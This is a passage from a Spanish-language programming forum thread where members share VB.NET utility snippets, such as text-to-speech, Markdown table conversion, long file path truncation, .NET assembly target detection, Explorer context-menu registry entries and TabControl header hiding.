  99.                    If voice IsNot Nothing Then
  100.                        synth.SelectVoice(voice.VoiceInfo.Name)
  101.                    End If
  102.                End If
  103.  
  104.                synth.Rate = rate
  105.                synth.Volume = volume
  106.                synth.Speak(obj.ToString())
  107.            End Using
  108.  
  109.        End Sub
  110.  
  111.        ''' ----------------------------------------------------------------------------------------------------
  112.        ''' <summary>
  113.        ''' Speaks the string representation of the source object by using the
  114.        ''' operating system integrated text-to-speech synthesizer.
  115.        ''' </summary>
  116.        ''' ----------------------------------------------------------------------------------------------------
  117.        ''' <example> This is a code example.
  118.        ''' <code language="VB.NET">
  119.        ''' Dim c As Color = Color.LightGoldenrodYellow
  120.        ''' Dim voice As InstalledVoice = New SpeechSynthesizer().GetInstalledVoices(CultureInfo.CurrentCulture).FirstOrDefault()
  121.        ''' c.Speak(voice:=voice, rate:=1, volume:=100)
  122.        ''' </code>
  123.        ''' </example>
  124.        ''' ----------------------------------------------------------------------------------------------------
  125.        ''' <param name="obj">
  126.        ''' The object to be spoken.
  127.        ''' </param>
  128.        '''
  129.        ''' <param name="voice">
  130.        ''' Optional. Selects the voice to use, such as "Microsoft Zira Desktop" or "Microsoft Helena Desktop".
  131.        ''' <para></para>
  132.        ''' Note: If this value is null, the default voice is the one for the current culture
  133.        ''' specified in the <see cref="CultureInfo.CurrentCulture"/> property.
  134.        ''' </param>
  135.        '''
  136.        ''' <param name="rate">
  137.        ''' Optional. Sets the speaking rate of the selected voice.
  138.        ''' <para></para>
  139.        ''' Allowed values are in the range of -10 (slowest) to +10 (fastest).
  140.        ''' <para></para>
  141.        ''' Default value: 0 (normal rate).
  142.        ''' </param>
  143.        '''
  144.        ''' <param name="volume">
  145.        ''' Optional. Sets the output volume of the synthesizer.
  146.        ''' <para></para>
  147.        ''' Allowed values are in the range of 0 (minimum) to 100 (maximum).
  148.        ''' <para></para>
  149.        ''' Default value: 100 (maximum volume)
  150.        ''' </param>
  151.        ''' ----------------------------------------------------------------------------------------------------
  152.        <DebuggerStepThrough>
  153.        <Extension>
  154.        <EditorBrowsable(EditorBrowsableState.Always)>
  155.        Public Sub Speak(obj As Object, Optional voice As InstalledVoice = Nothing,
  156.                                        Optional rate As Integer = 0,
  157.                                        Optional volume As Integer = 100)
  158.  
  159.            If voice Is Nothing Then
  160.                Throw New ArgumentNullException(paramName:=NameOf(voice))
  161.            End If
  162.  
  163.            Speak(obj, voice.VoiceInfo.Name, rate, volume)
  164.  
  165.        End Sub
  166.  
  167. #End Region
  168.  
  169.    End Module
  170.  
  171. End Namespace
  172.  
  173. #End Region
  174.  



De paso les dejo este método


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 27 Febrero 2024, 13:15 pm
Cifrar código fuente de Visual Basic Script (VBS):

 - https://foro.elhacker.net/programacion_visual_basic/cogravemo_puedo_cifrar_archivos_vbs-t409714.0.html;msg2277482#msg2277482


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 27 Febrero 2024, 13:19 pm
Convertir un objeto Datatable a una tabla en formato Markdown:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Converts the elements of a <see cref="DataTable"/> into a Markdown table.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example that shows how to convert a DataTable object to Markdown table.
  7. ''' <code language="VB.NET">
  8. ''' Dim dt As New DataTable()
  9. ''' dt.Columns.Add("ID", GetType(Integer))
  10. ''' dt.Columns.Add("Name", GetType(String))
  11. ''' dt.Rows.Add(1, "John")
  12. ''' dt.Rows.Add(2, "Doe")
  13. '''
  14. ''' Dim markdownTable As String = EnumerableToMarkdownTable(dt)
  15. ''' Console.WriteLine(markdownTable.ToString())
  16. ''' </code>
  17. ''' </example>
  18. ''' ----------------------------------------------------------------------------------------------------
  19. ''' <param name="table">
  20. ''' The source <see cref="DataTable"/>.
  21. ''' </param>
  22. ''' ----------------------------------------------------------------------------------------------------
  23. ''' <returns>
  24. ''' A string representing the Markdown table.
  25. ''' </returns>
  26. ''' ----------------------------------------------------------------------------------------------------
  27. Public Shared Function DataTableToMarkdownTable(table As DataTable) As String
  28.  
  29.    If table Is Nothing Then
  30.        Throw New ArgumentNullException(paramName:=NameOf(table))
  31.    End If
  32.  
  33.    If table.Rows.Count = 0 Then
  34.        Throw New ArgumentNullException("The source table does not contain any row.", paramName:=NameOf(table))
  35.    End If
  36.  
  37.    Dim columnNames As IEnumerable(Of String) = table.Columns.Cast(Of DataColumn)().Select(Function(column) column.ColumnName)
  38.    Dim maxColumnValues As Integer() = columnNames.Select(Function(name) table.AsEnumerable().Max(Function(row) If(row.IsNull(name), 0, row(name).ToString().Length))).ToArray()
  39.  
  40.    Dim headerLine As String = "| " & String.Join(" | ", columnNames) & " |"
  41.    Dim headerDataDividerLine As String = "| " & String.Join(" | ", maxColumnValues.Select(Function(length) New String("-"c, length))) & " |"
  42.  
  43.    Dim lines As IEnumerable(Of String) = {headerLine, headerDataDividerLine}.Concat(
  44.        table.AsEnumerable().Select(
  45.            Function(row) "| " & String.Join(" | ", columnNames.Select(Function(name, i) If(row.IsNull(name), "".PadRight(maxColumnValues(i)), row(name).ToString().PadRight(maxColumnValues(i))))) & " |"
  46.        )
  47.    )
  48.  
  49.    Return String.Join(Environment.NewLine, lines)
  50.  
  51. End Function



Convertir un objeto IEnumerable a una tabla en formato Markdown:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Converts the elements of an <see cref="IEnumerable(Of T)"/> into a Markdown table.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <remarks>
  7. ''' Original C# concept: <see href="https://github.com/jpierson/to-markdown-table/blob/develop/src/ToMarkdownTable/LinqMarkdownTableExtensions.cs"/>
  8. ''' </remarks>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <example> This is a code example that shows how to convert a List(Of String) object to Markdown table.
  11. ''' <code language="VB.NET">
  12. ''' Dim list As New List(Of String)
  13. ''' list.Add("John")
  14. ''' list.Add("Doe")
  15. '''
  16. ''' Dim markdownTable As String = EnumerableToMarkdownTable(list)
  17. ''' Console.WriteLine(markdownTable.ToString())
  18. ''' </code>
  19. ''' </example>
  20. ''' ----------------------------------------------------------------------------------------------------
  21. ''' <example> This is a code example that shows how to convert a List of a custom type to Markdown table.
  22. ''' <code language="VB.NET">
  23. ''' Public Class TestClass
  24. '''     Public Property ID As Integer
  25. '''     Public Property Name As String
  26. '''     Public Property Age As Integer
  27. ''' End Class
  28. '''
  29. ''' Dim list As New List(Of TestClass) From {
  30. '''     New TestClass() With {.ID = 1, .Name = "John", .Age = 30},
  31. '''     New TestClass() With {.ID = 2, .Name = "Doe" , .Age = 40}
  32. ''' }
  33. '''
  34. ''' Dim markdownTable As String = EnumerableToMarkdownTable(list)
  35. ''' Console.WriteLine(markdownTable.ToString())
  36. ''' </code>
  37. ''' </example>
  38. ''' ----------------------------------------------------------------------------------------------------
  39. ''' <typeparam name="T">
  40. ''' The type of elements in the collection.
  41. ''' </typeparam>
  42. '''
  43. ''' <param name="source">
  44. ''' The generic collection to convert into a Markdown table.
  45. ''' </param>
  46. ''' ----------------------------------------------------------------------------------------------------
  47. ''' <returns>
  48. ''' A string representing the Markdown table.
  49. ''' </returns>
  50. ''' ----------------------------------------------------------------------------------------------------
  51. Public Shared Function EnumerableToMarkdownTable(Of T)(source As IEnumerable(Of T)) As String
  52.    If source Is Nothing OrElse Not source.Any() Then
  53.        Throw New ArgumentNullException(paramName:=NameOf(source))
  54.    End If
  55.  
  56.    If GetType(T).IsPrimitive OrElse GetType(T) = GetType(String) Then
  57.        Return $"| Items |{Environment.NewLine}| ----- |{Environment.NewLine}{String.Join(Environment.NewLine, source.Select(Function(s) $"| {s} |"))}"
  58.    End If
  59.  
  60.    Dim properties As PropertyInfo() = GetType(T).GetProperties(BindingFlags.Instance Or BindingFlags.Public Or BindingFlags.GetProperty)
  61.    Dim fields As IEnumerable(Of FieldInfo) = GetType(T).GetRuntimeFields().Where(Function(f) f.IsPublic)
  62.  
  63.    Dim gettables As IEnumerable(Of MarkdownColumnData) =
  64.        Enumerable.Union(properties.Select(Function(p As PropertyInfo)
  65.                                               Return New MarkdownColumnData With {
  66.                                                   .Name = p.Name,
  67.                                                   .GetValue = Function(obj) p.GetValue(obj),
  68.                                                   .Type = p.PropertyType
  69.                                               }
  70.                                           End Function),
  71.                         fields.Select(Function(f As FieldInfo)
  72.                                           Return New MarkdownColumnData With {
  73.                                               .Name = f.Name,
  74.                                               .GetValue = Function(obj) f.GetValue(obj),
  75.                                               .Type = f.FieldType
  76.                                           }
  77.                                       End Function))
  78.  
  79.    Dim maxColumnValues As Integer() = source.
  80.            Select(Function(x) gettables.Select(Function(p) If(p.GetValue(x)?.ToString()?.Length, 0))).
  81.            Union({gettables.Select(Function(p) p.Name.Length)}).
  82.            Aggregate(
  83.                Enumerable.Repeat(0, gettables.Count()).AsEnumerable(),
  84.                Function(accumulate, x) accumulate.Zip(x, Function(a, b) System.Math.Max(a, b))).
  85.            ToArray()
  86.  
  87.    Dim columnNames As IEnumerable(Of String) =
  88.        gettables.Select(Function(p) p.Name)
  89.  
  90.    Dim headerLine As String =
  91.        "| " & String.Join(" | ", columnNames.Select(Function(n, i) n.PadRight(maxColumnValues(i)))) & " |"
  92.  
  93.    Dim isNumeric As Func(Of Type, Boolean) =
  94.        Function(type As Type)
  95.            Return type = GetType(Byte) OrElse type = GetType(SByte) OrElse type = GetType(UShort) OrElse type = GetType(UInteger) OrElse type = GetType(ULong) OrElse type = GetType(Short) OrElse type = GetType(Integer) OrElse type = GetType(Long) OrElse type = GetType(Decimal) OrElse type = GetType(Double) OrElse type = GetType(Single)
  96.        End Function
  97.  
  98.    Dim rightAlign As Func(Of Type, String) =
  99.        Function(type As Type)
  100.            Return If(isNumeric(type), ":", " "c)
  101.        End Function
  102.  
  103.    Dim headerDataDividerLine As String =
  104.            "| " &
  105.            String.Join("| ", gettables.Select(Function(g, i) New String("-"c, maxColumnValues(i)) & rightAlign(g.Type))) &
  106.            "|"
  107.  
  108.    Dim lines As IEnumerable(Of String) =
  109.        {
  110.            headerLine,
  111.            headerDataDividerLine
  112.        }.Union(source.
  113.            Select(Function(s)
  114.                       Return "| " & String.Join(" | ", gettables.Select(Function(n, i) If(n.GetValue(s)?.ToString(), "").PadRight(maxColumnValues(i)))) & " |"
  115.                   End Function))
  116.  
  117.    Return lines.Aggregate(Function(p, c) p & Environment.NewLine & c)
  118. End Function


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 27 Febrero 2024, 13:38 pm
Los dos siguientes métodos sirven para truncar nombres de archivos que superen los 255 caracteres (incluyendo la longitud de la extensión del archivo), acortando la longitud cuanto sea necesario para no sobrepasar dicho límite, y añadiendo puntos suspensivos (…) al final del nombre del archivo.

Eso es lo que hace con los nombres de archivo (file name), no con las rutas (file path).

En caso de enviar como parámetro a cualquiera de estos dos métodos una ruta de archivo (file path), aparte de realizar los ajustes mencionados con el nombre del archivo y, en caso de que la ruta exceda el límite máximo permitido de 260 caracteres (definido en MAX_PATH), se añadirá el prefijo "\\?\" a la ruta para garantizar la compatibilidad de uso con sistemas NTFS que tengan habilitado el soporte para rutas de longitud extendida (es decir, mayores de 260 caracteres).

De esta forma, y además de prevenir el uso de nombres de archivo (file names) inválidos / demasiado largos, además se garantiza que la aplicación que utilice estos métodos para la manipulación o creación de archivos sea "LONG PATH AWARE".

Nota: Los métodos han pasado pruebas usando rutas locales (relativas y absolutas). No han sido probados con rutas UNC ni adaptados para ello.

Leer con detenimiento el bloque de documentación XML para más información.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' If needed, truncates the length of the specified file name or full file path  
  4. ''' to comply with Windows OS maximum file name length of 255 characters
  5. ''' (including the file extension length).
  6. ''' <para></para>
  7. ''' If the file name exceeds this limit, it truncates it and
  8. ''' adds a ellipsis (…) at the end of the file name.
  9. ''' <para></para>
  10. ''' If the path exceeds the MAX_PATH limit (260 characters),
  11. ''' it adds the "\\?\" prefix to support extended-length paths.
  12. ''' <para></para>
  13. ''' See also: <see href="https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation"/>
  14. ''' </summary>
  15. ''' ----------------------------------------------------------------------------------------------------
  16. ''' <remarks>
  17. ''' This method is particularly useful when dealing with file names or file paths that might exceed
  18. ''' the maximum allowed length, preventing potential errors related to file name length limitations
  19. ''' when creating files in the drive.
  20. ''' </remarks>
  21. ''' ----------------------------------------------------------------------------------------------------
  22. ''' <param name="filePath">
  23. ''' The file name or full file path.
  24. ''' </param>
  25. '''
  26. ''' <param name="maxFileNameLength">
  27. ''' Optional. The maximum character length that the file name can have.
  28. ''' Default (and maximum) value is 255.
  29. ''' </param>
  30. ''' ----------------------------------------------------------------------------------------------------
  31. ''' <returns>
  32. ''' The truncated file name or full file path.
  33. ''' </returns>
  34. ''' ----------------------------------------------------------------------------------------------------
  35. <DebuggerStepThrough>
  36. Public Shared Function TruncateLongFilePath(filePath As String, Optional maxFileNameLength As Byte = 255) As String
  37.  
  38.    If String.IsNullOrEmpty(filePath) Then
  39.        Throw New ArgumentNullException(paramName:=NameOf(filePath))
  40.    End If
  41.  
  42.    If filePath.StartsWith("\\?\", StringComparison.Ordinal) Then
  43.        filePath = filePath.Substring(4)
  44.    End If
  45.  
  46.    Dim fileInfo As New FileInfo(If(filePath.Length <= 255, filePath, $"\\?\{filePath}"))
  47.    TruncateLongFilePath(fileInfo, maxFileNameLength)
  48.    Return fileInfo.FullName
  49.  
  50. End Function
  51.  
  52. ''' ----------------------------------------------------------------------------------------------------
  53. ''' <summary>
  54. ''' If needed, truncates the length of the file name in
  55. ''' the source <see cref="FileInfo"/> object to comply with
  56. ''' Windows OS maximum file name length of 255 characters
  57. ''' (including the file extension length).
  58. ''' <para></para>
  59. ''' If the file name exceeds this limit, it truncates it and
  60. ''' adds a ellipsis (…) at the end of the file name.
  61. ''' <para></para>
  62. ''' If the path exceeds the MAX_PATH limit (260 characters),
  63. ''' it adds the "\\?\" prefix to support extended-length paths.
  64. ''' <para></para>
  65. ''' See also: <see href="https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation"/>
  66. ''' </summary>
  67. ''' ----------------------------------------------------------------------------------------------------
  68. ''' <remarks>
  69. ''' This method is particularly useful when dealing with file paths that might exceed
  70. ''' the maximum allowed length, preventing potential errors related to file name length limitations
  71. ''' when creating files in the drive.
  72. ''' </remarks>
  73. ''' ----------------------------------------------------------------------------------------------------
  74. ''' <param name="refFileInfo">
  75. ''' The source <see cref="FileInfo"/> object representing a full file path.
  76. ''' <para></para>
  77. ''' When this method returns, this object contains the file path with the file name truncated.
  78. ''' </param>
  79. '''
  80. ''' <param name="maxFileNameLength">
  81. ''' Optional. The maximum character length that the file name can have.
  82. ''' Default (and maximum) value is 255.
  83. ''' </param>
  84. ''' ----------------------------------------------------------------------------------------------------
  85. <DebuggerStepThrough>
  86. Public Shared Sub TruncateLongFilePath(ByRef refFileInfo As FileInfo, Optional maxFileNameLength As Byte = 255)
  87.  
  88.    If refFileInfo Is Nothing Then
  89.        Throw New ArgumentNullException(paramName:=NameOf(refFileInfo))
  90.    End If
  91.  
  92.    If maxFileNameLength = 0 Then
  93.        Throw New ArgumentException("Value must be greater than zero.", paramName:=NameOf(maxFileNameLength))
  94.    End If
  95.  
  96.    If refFileInfo.Name.Length >= maxFileNameLength Then
  97.        Dim fileExt As String = refFileInfo.Extension
  98.        Dim fileName As String = refFileInfo.Name.Substring(0, maxFileNameLength - 1 - fileExt.Length) & $"…{fileExt}"
  99.  
  100.        Dim directoryName As String = Path.GetDirectoryName(refFileInfo.FullName)
  101.        If directoryName.Equals("\\?", StringComparison.Ordinal) Then
  102.            refFileInfo = New FileInfo($"\\?\{fileName}")
  103.  
  104.        ElseIf directoryName.StartsWith("\\?\", StringComparison.Ordinal) Then
  105.            refFileInfo = New FileInfo(Path.Combine(refFileInfo.DirectoryName, fileName))
  106.  
  107.        Else
  108.            Dim fullpath As String = Path.Combine(refFileInfo.DirectoryName, fileName)
  109.            refFileInfo = If(fullpath.Length >= 260, ' MAX_PATH
  110.                          New FileInfo($"\\?\{fullpath}"),
  111.                          New FileInfo(fullpath))
  112.        End If
  113.    End If
  114.  
  115. End Sub


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Parado_larga_duracion_ESP en 27 Febrero 2024, 14:04 pm
Dejo un repositorio de utilidades de Excel. Tiene 3 ficheros a día de hoy.

1. Para pasar y leer JSONs
2. Demo de carga de datos por AJAX
3. Utilidades varias, incluida REGEX_MATCH. Va bien para validar formatos en Excel.

https://github.com/allnulled/excel-framework/tree/main (https://github.com/allnulled/excel-framework/tree/main)


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Febrero 2024, 13:07 pm
La siguiente función, por nombre "GetAssemblyNetTargetType", sirve para determinar si el tipo de un archivo de ensamblado es .NET Framework, .NET Standard o .NET Core.

Modo de empleo:
Código
  1. Dim assembly As Assembly = Assembly.LoadFile("C:\Assembly.dll")
  2. Dim assemblyType As NetTargetType = GetAssemblyNetTargetType(assembly)
  3. Console.WriteLine(assemblyType.ToString())

La función contiene tres validaciones diferentes, separadas por Regiones, aunque por lo general solamente se procesará el bloque de código de la primera validación.

Se ha diseñado así con la intención de funcionar correctamente en diversos escenarios, con errores esperados e inesperados de Reflection, y ya sea teniendo en cuenta si se usa esta función desde una aplicación .NET Framework, o .NET Core.

Código
  1. ''' <summary>
  2. ''' Specifies the type of a .NET assembly.
  3. ''' </summary>
  4. Public Enum NetTargetType
  5.    ''' <summary>
  6.    ''' An assembly that targets .NET Framework.
  7.    ''' </summary>
  8.    NetFramework
  9.  
  10.    ''' <summary>
  11.    ''' An assembly that targets .NET Standard.
  12.    ''' </summary>
  13.    NetStandard
  14.  
  15.    ''' <summary>
  16.    ''' An assembly that targets .NET Core.
  17.    ''' </summary>
  18.    NetCore
  19. End Enum

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Determines whether the specified assembly ia a .NET Framework, .NET Standard or .NET Core assembly.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <returns>
  7. ''' A <see cref="NetTargetType"/> value that indicates the type of assembly.
  8. ''' </returns>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. <DebuggerStepThrough>
  11. Public Shared Function GetAssemblyNetTargetType(assembly As Assembly) As NetTargetType
  12.  
  13. #Region " Primary validation "
  14.    Dim parimaryValidationException As Exception = Nothing
  15.  
  16.    Dim attrib As TargetFrameworkAttribute
  17.    Try
  18.        attrib = assembly.GetCustomAttributes.OfType(Of TargetFrameworkAttribute).SingleOrDefault()
  19.        If attrib?.FrameworkName.StartsWith(".NETFramework", StringComparison.OrdinalIgnoreCase) Then
  20.            Return NetTargetType.NetFramework
  21.  
  22.        ElseIf attrib?.FrameworkName.StartsWith(".NETStandard", StringComparison.OrdinalIgnoreCase) Then
  23.            Return NetTargetType.NetStandard
  24.  
  25.        ElseIf attrib?.FrameworkName.StartsWith(".NETCore", StringComparison.OrdinalIgnoreCase) Then
  26.            Return NetTargetType.NetCore
  27.  
  28.        Else
  29.            Throw New NotImplementedException($"Cannot determine type of {NameOf(TargetFrameworkAttribute)}.")
  30.  
  31.        End If
  32.  
  33.    Catch ex As FileNotFoundException When ex.FileName.StartsWith("System.Runtime", StringComparison.OrdinalIgnoreCase)
  34.        ' This exception will be thrown generally when the current
  35.        ' running application is targetting .NET Framework
  36.        ' and Reflection (via method "GetCustomAttributes")
  37.        ' tries to load "System.Runtime" assembly.
  38.  
  39.        Dim assName As New AssemblyName(ex.FileName)
  40.        If assName.Version.Major >= 4 AndAlso assName.Version.Minor <> 0 Then
  41.            Return NetTargetType.NetCore
  42.        Else
  43.            ' Ignore and continue with the alternative .NET Core validation.
  44.        End If
  45.  
  46.    Catch ex As Exception
  47.        parimaryValidationException = ex
  48.        ' Ignore for now, and continue with the alternative validations.
  49.  
  50.    End Try
  51. #End Region
  52.  
  53. #Region " .NET Standard alternative validation (when Primary validation failed) "
  54.    Dim isNetStandard As Boolean =
  55.        assembly.GetReferencedAssemblies().
  56.                 Any(Function(x) x.Name.Equals("netstandard", StringComparison.OrdinalIgnoreCase))
  57.  
  58.    If isNetStandard Then
  59.        Return NetTargetType.NetStandard
  60.    End If
  61. #End Region
  62.  
  63. #Region " .NET Core alternative validation (when Primary validation failed) "
  64. Dim isNetCore As Boolean =
  65.    assembly.GetReferencedAssemblies().
  66.             Any(Function(x As AssemblyName)
  67.                     Return (x.Name.Equals("System.Runtime", StringComparison.OrdinalIgnoreCase) _
  68.                             AndAlso x.Version.Major >= 4 _
  69.                             AndAlso x.Version.Minor <> 0) _
  70.                             OrElse ({"System.Collections",
  71.                                      "System.ComponentModel.Primitives",
  72.                                      "System.Drawing.Primitives",
  73.                                      "System.Windows.Forms"
  74.                                     }.Contains(x.Name) _
  75.                             AndAlso x.Version.Major > 4)
  76.                 End Function)
  77.  
  78.    If isNetCore Then
  79.        Return NetTargetType.NetCore
  80.    End If
  81. #End Region
  82.  
  83.    If parimaryValidationException IsNot Nothing Then
  84.        Throw parimaryValidationException
  85.    End If
  86.    Throw New Exception("Cannot determine type of assembly.")
  87. End Function


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Febrero 2024, 17:13 pm
Dos métodos que manipulan el registro de Windows. El primero sirve para crear una nueva entrada en el menú contextual del explorador de Windows al hacer click derecho sobre un tipo de archivo, lo que por lo general sirve para asociar un programa a un tipo/extensión de archivo y poder cargar el archivo haciendo click en esa entrada del menú contextual.

Y el segundo método sirve para borrar la entrada.

Nota: el primer método sirve para crear entradas individuales, no sirve para crear submenús.

Código
  1. ''' <summary>
  2. ''' Creates a registry key that represents a new entry in the Explorer's context-menu for the specified file type.
  3. ''' </summary>
  4. '''
  5. ''' <param name="fileType">
  6. ''' The file type (typically a file extension) for which to create the entry in the Explorer's context-menu.
  7. ''' </param>
  8. '''
  9. ''' <param name="keyName">
  10. ''' The name of the registry key.
  11. ''' </param>
  12. '''
  13. ''' <param name="text">
  14. ''' The display text for the entry in the Explorer's context-menu.
  15. ''' <para></para>
  16. ''' This value can be null, in which case <paramref name="keyName"/> will be used as text.
  17. ''' </param>
  18. '''
  19. ''' <param name="position">
  20. ''' The position of the entry in the Explorer's context-menu.
  21. ''' <para></para>
  22. ''' Valid values are: "top", "middle" and "bottom".
  23. ''' <para></para>
  24. ''' This value can be null.
  25. ''' </param>
  26. '''
  27. ''' <param name="icon">
  28. ''' The icon to show for the entry in the Explorer's context-menu.
  29. ''' <para></para>
  30. ''' This value can be null.
  31. ''' </param>
  32. '''
  33. ''' <param name="command">
  34. ''' The command to execute when the entry is clicked in the Explorer's context-menu.
  35. ''' </param>
  36. <DebuggerStepThrough>
  37. Public Shared Sub CreateFileTypeRegistryMenuEntry(fileType As String, keyName As String,
  38.                                                  text As String, position As String,
  39.                                                  icon As String, command As String)
  40.  
  41.    If String.IsNullOrWhiteSpace(fileType) Then
  42.        Throw New ArgumentNullException(paramName:=NameOf(fileType))
  43.    End If
  44.  
  45.    If String.IsNullOrWhiteSpace(keyName) Then
  46.        Throw New ArgumentNullException(paramName:=NameOf(keyName))
  47.    End If
  48.  
  49.    If String.IsNullOrWhiteSpace(command) Then
  50.        Throw New ArgumentNullException(paramName:=NameOf(command))
  51.    End If
  52.  
  53.    If String.IsNullOrEmpty(text) Then
  54.        text = keyName
  55.    End If
  56.  
  57.    Using rootKey As RegistryKey = Registry.ClassesRoot,
  58.          subKey As RegistryKey = rootKey.CreateSubKey($"{fileType}\shell\{keyName}", writable:=True),
  59.          subKeyCommand As RegistryKey = subKey.CreateSubKey("command", writable:=True)
  60.  
  61.        subKey.SetValue("", text, RegistryValueKind.String)
  62.        subKey.SetValue("icon", icon, RegistryValueKind.String)
  63.        subKey.SetValue("position", position, RegistryValueKind.String)
  64.  
  65.        subKeyCommand.SetValue("", command, RegistryValueKind.String)
  66.    End Using
  67.  
  68. End Sub

Código
  1. ''' <summary>
  2. ''' Deletes an existing registry key representing an entry in the Explorer's context-menu for the specified file type.
  3. ''' </summary>
  4. '''
  5. ''' <param name="fileType">
  6. ''' The file type associated with the registry entry.
  7. ''' </param>
  8. '''
  9. ''' <param name="keyName">
  10. ''' The name of the registry key to delete.
  11. ''' </param>
  12. '''
  13. ''' <param name="throwOnMissingsubKey">
  14. ''' Optional. If <see langword="True"/>, throws an exception if the registry key is not found.
  15. ''' <para></para>
  16. ''' Default value is <see langword="True"/>.
  17. ''' </param>
  18. <DebuggerStepThrough>
  19. Public Shared Sub DeleteFileTypeRegistryMenuEntry(fileType As String, keyName As String, Optional throwOnMissingsubKey As Boolean = True)
  20.  
  21.    If String.IsNullOrWhiteSpace(fileType) Then
  22.        Throw New ArgumentNullException(paramName:=NameOf(fileType))
  23.    End If
  24.  
  25.    If String.IsNullOrWhiteSpace(keyName) Then
  26.        Throw New ArgumentNullException(paramName:=NameOf(keyName))
  27.    End If
  28.  
  29.    Using rootKey As RegistryKey = Registry.ClassesRoot
  30.        rootKey.DeleteSubKeyTree($"{fileType}\shell\{keyName}", throwOnMissingsubKey)
  31.    End Using
  32.  
  33. End Sub


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Abril 2024, 02:14 am
Dos simples métodos para ocultar y restaurar las cabeceras de las pestañas de un TabControl:

(https://i.imgur.com/SDMa8Df.gif)

Código
  1. ''' <summary>
  2. ''' Provides extension methods for the <see cref="TabControl"/> class.
  3. ''' </summary>
  4. <HideModuleName>
  5. Public Module TabControlExtensions
  6.  
  7.    ''' ---------------------------------------------------------------------------------------------------
  8.    ''' <summary>
  9.    ''' Hides the tab headers of the source <see cref="TabControl"/>.
  10.    ''' </summary>
  11.    ''' ---------------------------------------------------------------------------------------------------
  12.    ''' <example> This is a code example.
  13.    ''' <code language="VB">
  14.    ''' ' Create a TabControl instance
  15.    ''' Dim myTabControl As New TabControl()
  16.    '''
  17.    ''' ' Add some tabs to the TabControl
  18.    ''' myTabControl.TabPages.Add("Tab 1")
  19.    ''' myTabControl.TabPages.Add("Tab 2")
  20.    ''' myTabControl.TabPages.Add("Tab 3")
  21.    '''
  22.    ''' ' Display the TabControl in a Form
  23.    ''' Me.Controls.Add(myTabControl)
  24.    ''' myTabControl.BringToFront()
  25.    '''
  26.    ''' ' Hide the tab headers
  27.    ''' myTabControl.HideTabheaders()
  28.    ''' </code>
  29.    ''' </example>
  30.    ''' ---------------------------------------------------------------------------------------------------
  31.    ''' <param name="tabControl">
  32.    ''' The <see cref="TabControl"/> whose tab headers are to be hidden.
  33.    ''' </param>
  34.    ''' ---------------------------------------------------------------------------------------------------
  35.    <Extension>
  36.    <DebuggerStepThrough>
  37.    Public Sub HideTabheaders(tabControl As TabControl)
  38.        TabControlExtensions.ShowTabheaders(tabControl, TabSizeMode.Fixed, New Size(0, 1))
  39.    End Sub
  40.  
  41.    ''' ---------------------------------------------------------------------------------------------------
  42.    ''' <summary>
  43.    ''' Shows the tab headers of the source <see cref="TabControl"/>.
  44.    ''' </summary>
  45.    ''' ---------------------------------------------------------------------------------------------------
  46.    ''' <example> This is a code example.
  47.    ''' <code language="VB">
  48.    ''' ' Create a TabControl instance
  49.    ''' Dim myTabControl As New TabControl()
  50.    '''
  51.    ''' ' Add some tabs to the TabControl
  52.    ''' myTabControl.TabPages.Add("Tab 1")
  53.    ''' myTabControl.TabPages.Add("Tab 2")
  54.    ''' myTabControl.TabPages.Add("Tab 3")
  55.    '''
  56.    ''' ' Display the TabControl in a Form
  57.    ''' Me.Controls.Add(myTabControl)
  58.    ''' myTabControl.BringToFront()
  59.    '''
  60.    ''' ' Hide the tab headers
  61.    ''' myTabControl.HideTabheaders()
  62.    '''
  63.    ''' ' Show the tab headers with custom item size and filling to the right
  64.    ''' myTabControl.ShowTabheaders(TabSizeMode.Normal, New Size(100, 50))
  65.    ''' </code>
  66.    ''' </example>
  67.    ''' ---------------------------------------------------------------------------------------------------
  68.    ''' <param name="tabControl">
  69.    ''' The <see cref="TabControl"/> whose tab headers are to be shown.
  70.    ''' </param>
  71.    '''
  72.    ''' <param name="sizeMode">
  73.    ''' A value from <see cref="TabSizeMode"/> enumeration, that specifies the way that the control's tabs are sized.
  74.    ''' </param>
  75.    '''
  76.    ''' <param name="itemSize">
  77.    ''' Optional. The size of each tab header.
  78.    ''' <para></para>
  79.    ''' Default is <see cref="Size.Empty"/>, which is used to let the control automatically calculate the proper size
  80.    ''' when <paramref name="sizeMode"/> is <see cref="TabSizeMode.Normal"/> or <see cref="TabSizeMode.FillToRight"/>.
  81.    ''' </param>
  82.    ''' ---------------------------------------------------------------------------------------------------
  83.    <Extension>
  84.    <DebuggerStepThrough>
  85.    Public Sub ShowTabheaders(tabControl As TabControl, sizeMode As TabSizeMode, Optional itemSize As Size = Nothing)
  86.        If itemSize = Nothing Then
  87.            If sizeMode = TabSizeMode.Fixed Then
  88.                Throw New ArgumentException("Value can't be null for fixed size mode.", paramName:=NameOf(itemSize))
  89.            End If
  90.            itemSize = Size.Empty
  91.        End If
  92.  
  93.        With tabControl
  94.            .SuspendLayout()
  95.            .ItemSize = itemSize
  96.            .SizeMode = sizeMode
  97.            .ResumeLayout(performLayout:=True)
  98.        End With
  99.    End Sub
  100.  
  101. End Module

